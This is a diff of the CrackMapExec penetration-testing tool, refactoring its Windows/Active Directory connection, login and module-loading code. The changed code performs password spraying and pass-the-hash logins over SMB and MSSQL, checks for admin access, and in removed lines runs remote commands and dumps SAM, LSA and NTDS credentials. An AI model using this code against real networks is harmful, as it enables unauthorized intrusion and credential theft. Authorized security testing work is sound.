||||||
self.server_os = smb.getServerOS()
|
|
||||||
|
|
||||||
if not self.domain:
|
def print_host_info(info):
|
||||||
self.domain = self.hostname
|
return
|
||||||
|
|
||||||
self.db.add_host(self.host, self.hostname, self.domain, self.server_os)
|
def create_conn_obj(self):
|
||||||
|
return
|
||||||
|
|
||||||
self.logger = CMEAdapter(getLogger('CME'), {
|
def check_if_admin(self):
|
||||||
'host': self.host,
|
return
|
||||||
'port': self.args.smb_port,
|
|
||||||
'hostname': u'{}'.format(self.hostname)
|
|
||||||
})
|
|
||||||
|
|
||||||
self.logger.info(u"{} (name:{}) (domain:{})".format(
|
def plaintext_login(self, domain, username, password):
|
||||||
self.server_os,
|
return
|
||||||
self.hostname.decode('utf-8'),
|
|
||||||
self.domain.decode('utf-8')
|
|
||||||
))
|
|
||||||
|
|
||||||
try:
|
def hash_login(self, domain, username, ntlm_hash):
|
||||||
'''
|
return
|
||||||
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
|
||||||
(go home Windows, you're drunk)
|
|
||||||
'''
|
|
||||||
smb.logoff()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if self.args.mssql:
|
def proto_flow(self):
|
||||||
instances = None
|
if self.create_conn_obj():
|
||||||
self.logger.extra['port'] = self.args.mssql_port
|
self.enum_host_info()
|
||||||
|
self.proto_logger()
|
||||||
|
self.print_host_info()
|
||||||
|
if self.login():
|
||||||
|
if hasattr(self.args, 'module') and self.args.module:
|
||||||
|
|
||||||
mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
|
module_logger = CMEAdapter(extra={
|
||||||
mssql.connect()
|
'module': self.module.name.upper(),
|
||||||
|
'host': self.host,
|
||||||
|
'port': self.args.smb_port,
|
||||||
|
'hostname': self.hostname
|
||||||
|
})
|
||||||
|
|
||||||
instances = mssql.getInstances(10)
|
|
||||||
if len(instances) > 0:
|
|
||||||
self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
|
|
||||||
for i, instance in enumerate(instances):
|
|
||||||
self.logger.highlight("Instance {}".format(i))
|
|
||||||
for key in instance.keys():
|
|
||||||
self.logger.highlight(key + ":" + instance[key])
|
|
||||||
|
|
||||||
try:
|
|
||||||
mssql.disconnect()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
|
|
||||||
|
|
||||||
if self.args.mssql and (instances is not None and len(instances) > 0):
|
|
||||||
self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
|
|
||||||
self.conn.connect()
|
|
||||||
|
|
||||||
elif not args.mssql:
|
|
||||||
self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)
|
|
||||||
|
|
||||||
except socket.error:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if self.conn:
|
|
||||||
if self.args.domain:
|
|
||||||
self.domain = self.args.domain
|
|
||||||
|
|
||||||
if self.args.local_auth:
|
|
||||||
self.domain = self.hostname
|
|
||||||
|
|
||||||
self.login()
|
|
||||||
|
|
||||||
if (self.password is not None or self.hash is not None) and self.username is not None:
|
|
||||||
|
|
||||||
if self.module or self.chain_list:
|
|
||||||
|
|
||||||
if self.chain_list:
|
|
||||||
module = self.chain_list[0]['object']
|
|
||||||
|
|
||||||
module_logger = CMEAdapter(getLogger('CME'), {
|
|
||||||
'module': module.name.upper(),
|
|
||||||
'host': self.host,
|
|
||||||
'port': self.args.smb_port,
|
|
||||||
'hostname': self.hostname
|
|
||||||
})
|
|
||||||
context = Context(self.db, module_logger, self.args)
|
context = Context(self.db, module_logger, self.args)
|
||||||
context.localip = local_ip
|
context.localip = self.local_ip
|
||||||
|
|
||||||
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
if hasattr(self.module, 'on_request') or hasattr(self.module, 'has_response'):
|
||||||
cmeserver.server.context.localip = local_ip
|
self.server.context.localip = self.local_ip
|
||||||
|
|
||||||
if self.module:
|
if hasattr(self.module, 'on_login'):
|
||||||
|
self.module.on_login(context, self)
|
||||||
|
|
||||||
launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
|
if self.admin_privs and hasattr(self.module, 'on_admin_login'):
|
||||||
payload = module.payload(context, None if not hasattr(module, 'command') else module.command)
|
self.module.on_admin_login(context, self)
|
||||||
|
|
||||||
if hasattr(module, 'on_login'):
|
else:
|
||||||
module.on_login(context, self, launcher, payload)
|
|
||||||
|
|
||||||
if self.admin_privs and hasattr(module, 'on_admin_login'):
|
|
||||||
module.on_admin_login(context, self, launcher, payload)
|
|
||||||
|
|
||||||
elif self.chain_list:
|
|
||||||
module_list = self.chain_list[:]
|
|
||||||
module_list.reverse()
|
|
||||||
|
|
||||||
final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
|
|
||||||
if len(module_list) > 2:
|
|
||||||
for m in module_list:
|
|
||||||
if m['object'] == module or m['object'] == module_list[0]['object']:
|
|
||||||
continue
|
|
||||||
|
|
||||||
final_launcher = m['object'].launcher(context, final_launcher)
|
|
||||||
|
|
||||||
if module == module_list[0]['object']:
|
|
||||||
final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
|
|
||||||
|
|
||||||
launcher = module.launcher(context, final_launcher)
|
|
||||||
payload = module.payload(context, final_launcher)
|
|
||||||
|
|
||||||
if hasattr(module, 'on_login'):
|
|
||||||
module.on_login(context, self)
|
|
||||||
|
|
||||||
if self.admin_privs and hasattr(module, 'on_admin_login'):
|
|
||||||
module.on_admin_login(context, self, launcher, payload)
|
|
||||||
|
|
||||||
elif self.module is None and self.chain_list is None:
|
|
||||||
for k, v in vars(self.args).iteritems():
|
for k, v in vars(self.args).iteritems():
|
||||||
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
|
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
|
||||||
if v is not False and v is not None:
|
if v is not False and v is not None:
|
||||||
getattr(self, k)()
|
getattr(self, k)()
|
||||||
|
|
||||||
|
def inc_failed_login(self, username):
|
||||||
|
global global_failed_logins
|
||||||
|
global user_failed_logins
|
||||||
|
|
||||||
|
if username not in user_failed_logins.keys():
|
||||||
|
user_failed_logins[username] = 0
|
||||||
|
|
||||||
|
user_failed_logins[username] += 1
|
||||||
|
global_failed_logins += 1
|
||||||
|
self.failed_logins += 1
|
||||||
|
|
||||||
def over_fail_limit(self, username):
|
def over_fail_limit(self, username):
|
||||||
global global_failed_logins
|
global global_failed_logins
|
||||||
global user_failed_logins
|
global user_failed_logins
|
||||||
|
|
||||||
if global_failed_logins == self.args.gfail_limit: return True
|
if global_failed_logins == self.args.gfail_limit: return True
|
||||||
|
|
||||||
if self.failed_logins == self.args.fail_limit: return True
|
if self.failed_logins == self.args.fail_limit: return True
|
||||||
|
|
||||||
if username in user_failed_logins.keys():
|
if username in user_failed_logins.keys():
|
||||||
if self.args.ufail_limit == user_failed_logins[username]: return True
|
if self.args.ufail_limit == user_failed_logins[username]: return True
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def check_if_admin(self):
|
|
||||||
if self.args.mssql:
|
|
||||||
try:
|
|
||||||
#I'm pretty sure there has to be a better way of doing this.
|
|
||||||
#Currently we are just searching for our user in the sysadmin group
|
|
||||||
|
|
||||||
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
|
|
||||||
query_output = self.conn.printRows()
|
|
||||||
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
|
|
||||||
self.admin_privs = True
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
elif not self.args.mssql:
|
|
||||||
'''
|
|
||||||
We use the OpenSCManagerW Win32API call to to establish a handle to the remote host.
|
|
||||||
If this succeeds, the user context has administrator access to the target.
|
|
||||||
|
|
||||||
Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
|
|
||||||
'''
|
|
||||||
|
|
||||||
stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)
|
|
||||||
|
|
||||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
|
||||||
rpctransport.set_dport(self.args.smb_port)
|
|
||||||
|
|
||||||
lmhash = ''
|
|
||||||
nthash = ''
|
|
||||||
if self.hash:
|
|
||||||
if self.hash.find(':') != -1:
|
|
||||||
lmhash, nthash = self.hash.split(':')
|
|
||||||
else:
|
|
||||||
nthash = self.hash
|
|
||||||
|
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
|
||||||
# This method exists only for selected protocol sequences.
|
|
||||||
rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
|
|
||||||
dce = rpctransport.get_dce_rpc()
|
|
||||||
dce.connect()
|
|
||||||
dce.bind(scmr.MSRPC_UUID_SCMR)
|
|
||||||
|
|
||||||
lpMachineName = '{}\x00'.format(self.host)
|
|
||||||
try:
|
|
||||||
|
|
||||||
# 0xF003F - SC_MANAGER_ALL_ACCESS
|
|
||||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
|
||||||
|
|
||||||
resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
|
|
||||||
self.admin_privs = True
|
|
||||||
except DCERPCException:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def plaintext_login(self, domain, username, password):
|
|
||||||
try:
|
|
||||||
if self.args.mssql:
|
|
||||||
res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False)
|
|
||||||
if res is not True:
|
|
||||||
self.conn.printReplies()
|
|
||||||
return False
|
|
||||||
|
|
||||||
elif not self.args.mssql:
|
|
||||||
self.conn.login(username, password, domain)
|
|
||||||
|
|
||||||
self.password = password
|
|
||||||
self.username = username
|
|
||||||
self.domain = domain
|
|
||||||
self.check_if_admin()
|
|
||||||
self.db.add_credential('plaintext', domain, username, password)
|
|
||||||
|
|
||||||
if self.admin_privs:
|
|
||||||
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
|
|
||||||
|
|
||||||
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
|
|
||||||
username.decode('utf-8'),
|
|
||||||
password.decode('utf-8'),
|
|
||||||
highlight('(Pwn3d!)') if self.admin_privs else '')
|
|
||||||
|
|
||||||
self.logger.success(out)
|
|
||||||
return True
|
|
||||||
except SessionError as e:
|
|
||||||
error, desc = e.getErrorString()
|
|
||||||
self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
|
|
||||||
username.decode('utf-8'),
|
|
||||||
password.decode('utf-8'),
|
|
||||||
error,
|
|
||||||
'({})'.format(desc) if self.args.verbose else ''))
|
|
||||||
if error == 'STATUS_LOGON_FAILURE':
|
|
||||||
global global_failed_logins
|
|
||||||
global user_failed_logins
|
|
||||||
|
|
||||||
if username not in user_failed_logins.keys():
|
|
||||||
user_failed_logins[username] = 0
|
|
||||||
|
|
||||||
user_failed_logins[username] += 1
|
|
||||||
global_failed_logins += 1
|
|
||||||
self.failed_logins += 1
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def hash_login(self, domain, username, ntlm_hash):
|
|
||||||
lmhash = ''
|
|
||||||
nthash = ''
|
|
||||||
|
|
||||||
#This checks to see if we didn't provide the LM Hash
|
|
||||||
if ntlm_hash.find(':') != -1:
|
|
||||||
lmhash, nthash = ntlm_hash.split(':')
|
|
||||||
else:
|
|
||||||
nthash = ntlm_hash
|
|
||||||
|
|
||||||
try:
|
|
||||||
if self.args.mssql:
|
|
||||||
res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False)
|
|
||||||
if res is not True:
|
|
||||||
self.conn.printReplies()
|
|
||||||
return False
|
|
||||||
|
|
||||||
elif not self.args.mssql:
|
|
||||||
self.conn.login(username, '', domain, lmhash, nthash)
|
|
||||||
|
|
||||||
self.hash = ntlm_hash
|
|
||||||
self.username = username
|
|
||||||
self.domain = domain
|
|
||||||
self.check_if_admin()
|
|
||||||
self.db.add_credential('hash', domain, username, ntlm_hash)
|
|
||||||
|
|
||||||
if self.admin_privs:
|
|
||||||
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
|
|
||||||
|
|
||||||
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
|
|
||||||
username.decode('utf-8'),
|
|
||||||
ntlm_hash,
|
|
||||||
highlight('(Pwn3d!)') if self.admin_privs else '')
|
|
||||||
|
|
||||||
self.logger.success(out)
|
|
||||||
return True
|
|
||||||
except SessionError as e:
|
|
||||||
error, desc = e.getErrorString()
|
|
||||||
self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
|
|
||||||
username.decode('utf-8'),
|
|
||||||
ntlm_hash,
|
|
||||||
error,
|
|
||||||
'({})'.format(desc) if self.args.verbose else ''))
|
|
||||||
if error == 'STATUS_LOGON_FAILURE':
|
|
||||||
global global_failed_logins
|
|
||||||
global user_failed_logins
|
|
||||||
|
|
||||||
if username not in user_failed_logins.keys():
|
|
||||||
user_failed_logins[username] = 0
|
|
||||||
|
|
||||||
user_failed_logins[username] += 1
|
|
||||||
global_failed_logins += 1
|
|
||||||
self.failed_logins += 1
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def login(self):
|
def login(self):
|
||||||
for cred_id in self.args.cred_id:
|
for cred_id in self.args.cred_id:
|
||||||
with sem:
|
with sem:
|
||||||
|
@ -383,15 +123,15 @@ class Connection:
|
||||||
|
|
||||||
if self.args.local_auth:
|
if self.args.local_auth:
|
||||||
domain = self.domain
|
domain = self.domain
|
||||||
elif self.args.domain:
|
elif self.args.domain:
|
||||||
domain = self.args.domain
|
domain = self.args.domain
|
||||||
|
|
||||||
if credtype == 'hash' and not self.over_fail_limit(username):
|
if credtype == 'hash' and not self.over_fail_limit(username):
|
||||||
if self.hash_login(domain, username, password): return
|
if self.hash_login(domain, username, password): return True
|
||||||
|
|
||||||
elif credtype == 'plaintext' and not self.over_fail_limit(username):
|
elif credtype == 'plaintext' and not self.over_fail_limit(username):
|
||||||
if self.plaintext_login(domain, username, password): return
|
if self.plaintext_login(domain, username, password): return True
|
||||||
|
|
||||||
except IndexError:
|
except IndexError:
|
||||||
self.logger.error("Invalid database credential ID!")
|
self.logger.error("Invalid database credential ID!")
|
||||||
|
|
||||||
|
@ -403,12 +143,12 @@ class Connection:
|
||||||
for ntlm_hash in self.args.hash:
|
for ntlm_hash in self.args.hash:
|
||||||
if type(ntlm_hash) is not file:
|
if type(ntlm_hash) is not file:
|
||||||
if not self.over_fail_limit(usr.strip()):
|
if not self.over_fail_limit(usr.strip()):
|
||||||
if self.hash_login(self.domain, usr.strip(), ntlm_hash): return
|
if self.hash_login(self.domain, usr.strip(), ntlm_hash): return True
|
||||||
|
|
||||||
elif type(ntlm_hash) is file:
|
elif type(ntlm_hash) is file:
|
||||||
for f_hash in ntlm_hash:
|
for f_hash in ntlm_hash:
|
||||||
if not self.over_fail_limit(usr.strip()):
|
if not self.over_fail_limit(usr.strip()):
|
||||||
if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return
|
if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return True
|
||||||
ntlm_hash.seek(0)
|
ntlm_hash.seek(0)
|
||||||
|
|
||||||
elif self.args.password:
|
elif self.args.password:
|
||||||
|
@ -416,12 +156,12 @@ class Connection:
|
||||||
for password in self.args.password:
|
for password in self.args.password:
|
||||||
if type(password) is not file:
|
if type(password) is not file:
|
||||||
if not self.over_fail_limit(usr.strip()):
|
if not self.over_fail_limit(usr.strip()):
|
||||||
if self.plaintext_login(self.domain, usr.strip(), password): return
|
if self.plaintext_login(self.domain, usr.strip(), password): return True
|
||||||
|
|
||||||
elif type(password) is file:
|
elif type(password) is file:
|
||||||
for f_pass in password:
|
for f_pass in password:
|
||||||
if not self.over_fail_limit(usr.strip()):
|
if not self.over_fail_limit(usr.strip()):
|
||||||
if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return
|
if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return True
|
||||||
password.seek(0)
|
password.seek(0)
|
||||||
|
|
||||||
elif type(user) is not file:
|
elif type(user) is not file:
|
||||||
|
@ -430,12 +170,12 @@ class Connection:
|
||||||
for ntlm_hash in self.args.hash:
|
for ntlm_hash in self.args.hash:
|
||||||
if type(ntlm_hash) is not file:
|
if type(ntlm_hash) is not file:
|
||||||
if not self.over_fail_limit(user):
|
if not self.over_fail_limit(user):
|
||||||
if self.hash_login(self.domain, user, ntlm_hash): return
|
if self.hash_login(self.domain, user, ntlm_hash): return True
|
||||||
|
|
||||||
elif type(ntlm_hash) is file:
|
elif type(ntlm_hash) is file:
|
||||||
for f_hash in ntlm_hash:
|
for f_hash in ntlm_hash:
|
||||||
if not self.over_fail_limit(user):
|
if not self.over_fail_limit(user):
|
||||||
if self.hash_login(self.domain, user, f_hash.strip()): return
|
if self.hash_login(self.domain, user, f_hash.strip()): return True
|
||||||
ntlm_hash.seek(0)
|
ntlm_hash.seek(0)
|
||||||
|
|
||||||
elif self.args.password:
|
elif self.args.password:
|
||||||
|
@ -443,142 +183,10 @@ class Connection:
|
||||||
for password in self.args.password:
|
for password in self.args.password:
|
||||||
if type(password) is not file:
|
if type(password) is not file:
|
||||||
if not self.over_fail_limit(user):
|
if not self.over_fail_limit(user):
|
||||||
if self.plaintext_login(self.domain, user, password): return
|
if self.plaintext_login(self.domain, user, password): return True
|
||||||
|
|
||||||
elif type(password) is file:
|
elif type(password) is file:
|
||||||
for f_pass in password:
|
for f_pass in password:
|
||||||
if not self.over_fail_limit(user):
|
if not self.over_fail_limit(user):
|
||||||
if self.plaintext_login(self.domain, user, f_pass.strip()): return
|
if self.plaintext_login(self.domain, user, f_pass.strip()): return True
|
||||||
password.seek(0)
|
password.seek(0)
|
||||||
|
|
||||||
@requires_admin
|
|
||||||
def execute(self, payload=None, get_output=False, methods=None):
|
|
||||||
|
|
||||||
default_methods = ['wmiexec', 'atexec', 'smbexec']
|
|
||||||
|
|
||||||
if not payload and self.args.execute:
|
|
||||||
payload = self.args.execute
|
|
||||||
if not self.args.no_output: get_output = True
|
|
||||||
|
|
||||||
if self.args.mssql:
|
|
||||||
exec_method = MSSQLEXEC(self.conn)
|
|
||||||
logging.debug('Executed command via mssqlexec')
|
|
||||||
|
|
||||||
elif not self.args.mssql:
|
|
||||||
|
|
||||||
if not methods and not self.args.exec_method:
|
|
||||||
methods = default_methods
|
|
||||||
|
|
||||||
elif methods or self.args.exec_method:
|
|
||||||
|
|
||||||
if not methods:
|
|
||||||
methods = [self.args.exec_method]
|
|
||||||
|
|
||||||
for method in methods:
|
|
||||||
|
|
||||||
if method == 'wmiexec':
|
|
||||||
try:
|
|
||||||
exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
|
|
||||||
logging.debug('Executed command via wmiexec')
|
|
||||||
break
|
|
||||||
except:
|
|
||||||
logging.debug('Error executing command via wmiexec, traceback:')
|
|
||||||
logging.debug(format_exc())
|
|
||||||
continue
|
|
||||||
|
|
||||||
elif method == 'atexec':
|
|
||||||
try:
|
|
||||||
exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
|
|
||||||
logging.debug('Executed command via atexec')
|
|
||||||
break
|
|
||||||
except:
|
|
||||||
logging.debug('Error executing command via atexec, traceback:')
|
|
||||||
logging.debug(format_exc())
|
|
||||||
continue
|
|
||||||
|
|
||||||
elif method == 'smbexec':
|
|
||||||
try:
|
|
||||||
exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
|
|
||||||
logging.debug('Executed command via smbexec')
|
|
||||||
break
|
|
||||||
except:
|
|
||||||
logging.debug('Error executing command via smbexec, traceback:')
|
|
||||||
logging.debug(format_exc())
|
|
||||||
continue
|
|
||||||
|
|
||||||
if self.cmeserver: self.cmeserver.track_host(self.host)
|
|
||||||
|
|
||||||
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
|
|
||||||
|
|
||||||
if self.args.execute or self.args.ps_execute:
|
|
||||||
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
|
|
||||||
buf = StringIO(output).readlines()
|
|
||||||
for line in buf:
|
|
||||||
self.logger.highlight(line.strip())
|
|
||||||
|
|
||||||
return output
|
|
||||||
|
|
||||||
@requires_admin
|
|
||||||
def ps_execute(self, payload=None, get_output=False, methods=None):
|
|
||||||
if not payload and self.args.ps_execute:
|
|
||||||
payload = self.args.ps_execute
|
|
||||||
if not self.args.no_output: get_output = True
|
|
||||||
|
|
||||||
return self.execute(create_ps_command(payload), get_output, methods)
|
|
||||||
|
|
||||||
@requires_admin
|
|
||||||
def sam(self):
|
|
||||||
return DumpSecrets(self).SAM_dump()
|
|
||||||
|
|
||||||
@requires_admin
|
|
||||||
def lsa(self):
|
|
||||||
return DumpSecrets(self).LSA_dump()
|
|
||||||
|
|
||||||
@requires_admin
|
|
||||||
def ntds(self):
|
|
||||||
#We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory
|
|
||||||
DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history)
|
|
||||||
|
|
||||||
@requires_admin
|
|
||||||
def wdigest(self):
|
|
||||||
return getattr(WDIGEST(self), self.args.wdigest)()
|
|
||||||
|
|
||||||
def shares(self):
|
|
||||||
return ShareEnum(self).enum()
|
|
||||||
|
|
||||||
@requires_admin
|
|
||||||
def uac(self):
|
|
||||||
return UAC(self).enum()
|
|
||||||
|
|
||||||
def sessions(self):
|
|
||||||
return RPCQUERY(self).enum_sessions()
|
|
||||||
|
|
||||||
def disks(self):
|
|
||||||
return RPCQUERY(self).enum_disks()
|
|
||||||
|
|
||||||
def users(self):
|
|
||||||
return SAMRDump(self).enum()
|
|
||||||
|
|
||||||
def rid_brute(self):
|
|
||||||
return LSALookupSid(self).brute_force()
|
|
||||||
|
|
||||||
def pass_pol(self):
|
|
||||||
return PassPolDump(self).enum()
|
|
||||||
|
|
||||||
def lusers(self):
|
|
||||||
return RPCQUERY(self).enum_lusers()
|
|
||||||
|
|
||||||
@requires_admin
|
|
||||||
def wmi(self):
|
|
||||||
return WMIQUERY(self).query()
|
|
||||||
|
|
||||||
def spider(self):
|
|
||||||
spider = SMBSpider(self)
|
|
||||||
spider.spider(self.args.spider, self.args.depth)
|
|
||||||
spider.finish()
|
|
||||||
|
|
||||||
return spider.results
|
|
||||||
|
|
||||||
def mssql_query(self):
|
|
||||||
self.conn.sql_query(self.args.mssql_query)
|
|
||||||
return conn.printRows()
|
|
|
@ -4,7 +4,7 @@ from ConfigParser import ConfigParser
|
||||||
|
|
||||||
class Context:
|
class Context:
|
||||||
|
|
||||||
def __init__(self, db, logger, arg_namespace):
|
def __init__(self, db, logger, args):
|
||||||
self.db = db
|
self.db = db
|
||||||
self.log = logger
|
self.log = logger
|
||||||
self.log.debug = logging.debug
|
self.log.debug = logging.debug
|
||||||
|
@ -13,5 +13,5 @@ class Context:
|
||||||
self.conf = ConfigParser()
|
self.conf = ConfigParser()
|
||||||
self.conf.read(os.path.expanduser('~/.cme/cme.conf'))
|
self.conf.read(os.path.expanduser('~/.cme/cme.conf'))
|
||||||
|
|
||||||
for key, value in vars(arg_namespace).iteritems():
|
for key, value in vars(args).iteritems():
|
||||||
setattr(self, key, value)
|
setattr(self, key, value)
|
||||||
|
|
|
@ -6,179 +6,80 @@ monkey.patch_all()
|
||||||
|
|
||||||
from gevent.pool import Pool
|
from gevent.pool import Pool
|
||||||
from gevent import joinall
|
from gevent import joinall
|
||||||
from argparse import RawTextHelpFormatter
|
|
||||||
from cme.connection import Connection
|
|
||||||
from cme.database import CMEDatabase
|
|
||||||
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
|
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
|
||||||
from cme.helpers import highlight, gen_random_string
|
from cme.helpers.misc import gen_random_string
|
||||||
from cme.targetparser import parse_targets
|
from cme.targetparser import parse_targets
|
||||||
from cme.moduleloader import ModuleLoader
|
from cme.cli import gen_cli_args
|
||||||
from cme.modulechainloader import ModuleChainLoader
|
from cme.loaders.protocol_loader import protocol_loader
|
||||||
from cme.cmesmbserver import CMESMBServer
|
from cme.loaders.module_loader import module_loader
|
||||||
|
#from cme.modulechainloader import ModuleChainLoader
|
||||||
|
from cme.servers.http import CMEServer
|
||||||
|
from cme.servers.smb import CMESMBServer
|
||||||
from cme.first_run import first_run_setup
|
from cme.first_run import first_run_setup
|
||||||
|
from cme.context import Context
|
||||||
from getpass import getuser
|
from getpass import getuser
|
||||||
from pprint import pformat
|
from pprint import pformat
|
||||||
|
from ConfigParser import ConfigParser
|
||||||
|
import cme
|
||||||
|
import webbrowser
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import argparse
|
import random
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
|
||||||
VERSION = '3.1.5-dev'
|
setup_logger()
|
||||||
CODENAME = '\'Stoofvlees\''
|
logger = CMEAdapter()
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description="""
|
|
||||||
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
|
|
||||||
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
|
|
||||||
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
|
|
||||||
| | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
|
|
||||||
| `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
|
|
||||||
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
|
|
||||||
|
|
||||||
|
|
||||||
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
|
|
||||||
|
|
||||||
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
|
|
||||||
|
|
||||||
Inspired by:
|
|
||||||
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
|
|
||||||
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
|
|
||||||
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
|
|
||||||
|
|
||||||
{}: {}
|
|
||||||
{}: {}
|
|
||||||
""".format(highlight('Version', 'red'),
|
|
||||||
highlight(VERSION),
|
|
||||||
highlight('Codename', 'red'),
|
|
||||||
highlight(CODENAME)),
|
|
||||||
|
|
||||||
formatter_class=RawTextHelpFormatter,
|
|
||||||
version='{} - {}'.format(VERSION, CODENAME),
|
|
||||||
epilog="What is it? It's a stew... But what is it? It's a stew...")
|
|
||||||
|
|
||||||
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
|
|
||||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
|
|
||||||
parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
|
|
||||||
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames")
|
|
||||||
ddgroup = parser.add_mutually_exclusive_group()
|
|
||||||
ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
|
|
||||||
ddgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target')
|
|
||||||
msgroup = parser.add_mutually_exclusive_group()
|
|
||||||
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '+', default=[], help="Password(s) or file(s) containing passwords")
|
|
||||||
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
|
|
||||||
mcgroup = parser.add_mutually_exclusive_group()
|
|
||||||
mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
|
|
||||||
mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
|
|
||||||
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options')
|
|
||||||
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
|
|
||||||
parser.add_argument('--show-options', action='store_true', help='Display module options')
|
|
||||||
parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)")
|
|
||||||
parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
|
|
||||||
parser.add_argument("--mssql-port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
|
|
||||||
parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
|
|
||||||
parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
|
|
||||||
parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
|
|
||||||
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
|
|
||||||
fail_group = parser.add_mutually_exclusive_group()
|
|
||||||
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts')
|
|
||||||
fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username')
|
|
||||||
